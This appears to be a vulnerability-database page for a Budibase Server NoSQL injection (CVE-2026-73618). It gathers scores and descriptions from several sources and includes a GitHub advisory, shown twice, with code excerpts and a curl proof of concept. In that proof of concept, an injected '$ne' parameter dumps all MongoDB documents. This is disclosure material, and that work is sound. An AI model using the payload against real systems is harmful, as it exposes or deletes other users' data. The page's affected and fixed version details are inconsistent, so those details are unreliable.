CVE-2026-73618
Budibase Server before 3.40.0 NoSQL Injection via JSON Parameter
Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query execution endpoint where user-supplied parameters are interpolated into JSON query templates without proper sanitization of JSON metacharacters. Attackers with query write permission can inject JSON structural characters to alter MongoDB queries, bypassing filters to read, modify, or delete arbitrary documents.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
8.7
Budibase Server before 3.40.0 NoSQL Injection via JSON Parameter
Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query execution endpoint where user-supplied parameters are interpolated into JSON query templates without proper sanitization of JSON metacharacters. Attackers with query write permission can inject JSON structural characters to alter MongoDB queries, bypassing filters to read, modify, or delete arbitrary documents.
- Record
CVE-2026-73618- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-943
- Updated
- 2026-11-02
EUVDEUVD-2026-57822
8.7
Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query execution endpoint where user-supplied parameters are interpolated into JSON query templates without proper sanitization of JSON metacharacters. Attackers with query write permission can inject JSON structural characters to alter MongoDB queries, bypassing filters to read, modify, or delete arbitrary documents.
- Record
EUVD-2026-57822- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-qw6m-8fw2-2v64
8.3
Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution
Summary
Budibase's MongoDB query execution endpoint (POST /api/v2/queries/:queryId) is vulnerable to NoSQL injection through user-supplied query parameters. The enrichContext() function interpolates parameter values into JSON query templates using Handlebars with noEscaping: true, then parses the result with JSON.parse(). An attacker can inject JSON metacharacters (", {, }) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.
Details
The vulnerability exists because input validation and interpolation are misaligned. The validateQueryInputs() function blocks Handlebars template syntax ({{}}) but does not sanitize JSON structural characters:
packages/server/src/api/controllers/query/index.ts:57-69
function validateQueryInputs(parameters: QueryEventParameters) {
for (let entry of Object.entries(parameters)) {
const [key, value] = entry
if (typeof value !== "string") {
continue
}
if (findHBSBlocks(value).length !== 0) {
throw new Error(
`Parameter '${key}' input contains a handlebars binding - this is not allowed.`
)
}
}
}
After validation passes, enrichContext() performs raw string interpolation with escaping explicitly disabled:
packages/server/src/sdk/workspace/queries/queries.ts:105-108
enrichedQuery[key] = processStringSync(fields[key], parameters, {
noEscaping: true,
noHelpers: true,
escapeNewlines: true,
})
The interpolated string is then parsed as JSON at line 122:
packages/server/src/sdk/workspace/queries/queries.ts:122
enrichedQuery.json = JSON.parse(
enrichedQuery.json ||
enrichedQuery.customData ||
enrichedQuery.requestBody
)
The parsed object flows directly into MongoDB driver calls with no further sanitization:
packages/server/src/integrations/mongodb.ts:509
return await collection.find(json).toArray()
packages/server/src/integrations/mongodb.ts:624
return await collection.deleteMany(json.filter, json.options)
Consider a saved query with a JSON template like {"username": "{{username}}"}. If an attacker provides the parameter value ", "$ne": " the interpolated string becomes {"username": "", "$ne": ""} — a valid JSON object that matches all documents where username is not empty, instead of matching a single specific user.
The route requires only PermissionType.QUERY, PermissionLevel.WRITE (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.
PoC
Prerequisites: A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a find query with {"username": "{{username}}"}).
Step 1: Authenticate as a regular app user
TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"password"}' \
-c - | grep budibase:auth | awk '{print $NF}')
Step 2: Execute the query normally (returns only matching document)
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "alice"}}'
# Returns: [{"username": "alice", ...}]
Step 3: Inject NoSQL operator to dump all documents
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...]
The injected value ", "$ne": "…
- Record
GHSA-qw6m-8fw2-2v64- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-943
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-wg7g-xr7v-hf69
8.7
Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query...
Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query execution endpoint where user-supplied parameters are interpolated into JSON query templates without proper sanitization of JSON metacharacters. Attackers with query write permission can inject JSON structural characters to alter MongoDB queries, bypassing filters to read, modify, or delete arbitrary documents.
- Record
GHSA-wg7g-xr7v-hf69- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-943
- Updated
- 2026-11-02
NVD
8.7
Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query execution endpoint where user-supplied parameters are interpolated into JSON query templates without proper sanitization of JSON metacharacters. Attackers with query write permission can inject JSON structural characters to alter MongoDB queries, bypassing filters to read, modify, or delete arbitrary documents.
- Record
CVE-2026-73618- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-943
- Updated
- 2026-11-02
OSV
8.7
Budibase Server before 3.40.0 NoSQL Injection via JSON Parameter
Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query execution endpoint where user-supplied parameters are interpolated into JSON query templates without proper sanitization of JSON metacharacters. Attackers with query write permission can inject JSON structural characters to alter MongoDB queries, bypassing filters to read, modify, or delete arbitrary documents.
- Record
CVE-2026-73618- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N - Weakness
- CWE-943
- Updated
- 2026-11-02
OSVGHSA-qw6m-8fw2-2v64
8.3
Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution
Summary
Budibase's MongoDB query execution endpoint (POST /api/v2/queries/:queryId) is vulnerable to NoSQL injection through user-supplied query parameters. The enrichContext() function interpolates parameter values into JSON query templates using Handlebars with noEscaping: true, then parses the result with JSON.parse(). An attacker can inject JSON metacharacters (", {, }) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.
Details
The vulnerability exists because input validation and interpolation are misaligned. The validateQueryInputs() function blocks Handlebars template syntax ({{}}) but does not sanitize JSON structural characters:
packages/server/src/api/controllers/query/index.ts:57-69
function validateQueryInputs(parameters: QueryEventParameters) {
for (let entry of Object.entries(parameters)) {
const [key, value] = entry
if (typeof value !== "string") {
continue
}
if (findHBSBlocks(value).length !== 0) {
throw new Error(
`Parameter '${key}' input contains a handlebars binding - this is not allowed.`
)
}
}
}
After validation passes, enrichContext() performs raw string interpolation with escaping explicitly disabled:
packages/server/src/sdk/workspace/queries/queries.ts:105-108
enrichedQuery[key] = processStringSync(fields[key], parameters, {
noEscaping: true,
noHelpers: true,
escapeNewlines: true,
})
The interpolated string is then parsed as JSON at line 122:
packages/server/src/sdk/workspace/queries/queries.ts:122
enrichedQuery.json = JSON.parse(
enrichedQuery.json ||
enrichedQuery.customData ||
enrichedQuery.requestBody
)
The parsed object flows directly into MongoDB driver calls with no further sanitization:
packages/server/src/integrations/mongodb.ts:509
return await collection.find(json).toArray()
packages/server/src/integrations/mongodb.ts:624
return await collection.deleteMany(json.filter, json.options)
Consider a saved query with a JSON template like {"username": "{{username}}"}. If an attacker provides the parameter value ", "$ne": " the interpolated string becomes {"username": "", "$ne": ""} — a valid JSON object that matches all documents where username is not empty, instead of matching a single specific user.
The route requires only PermissionType.QUERY, PermissionLevel.WRITE (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.
PoC
Prerequisites: A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a find query with {"username": "{{username}}"}).
Step 1: Authenticate as a regular app user
TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"password"}' \
-c - | grep budibase:auth | awk '{print $NF}')
Step 2: Execute the query normally (returns only matching document)
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "alice"}}'
# Returns: [{"username": "alice", ...}]
Step 3: Inject NoSQL operator to dump all documents
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...]
The injected value ", "$ne": "…
- Record
GHSA-qw6m-8fw2-2v64- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-943
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@budibase/servernpm |
through 3.38.1 | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-73618 is a high vulnerability (CVSS 8.7) in Budibase Server, published July 24, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.36%, the 30th percentile. No source names a fixed version.
References
github.com/Budibase/budibase/security/advisories/GHSA-qw6m-8fw2-2v64
vulncheck.com/advisories/budibase-server-before-nosql-injection-via-json-parameter
github.com/Budibase/budibase/pull/18907
github.com/Budibase/budibase/commit/2d6c1d17cff8a653adbb2f9003eda9de38c7670f
github.com/Budibase/budibase/releases/tag/3.39.9
github.com/advisories/GHSA-qw6m-8fw2-2v64
Left out here: the rest of 2 source descriptions. The JSON record has them.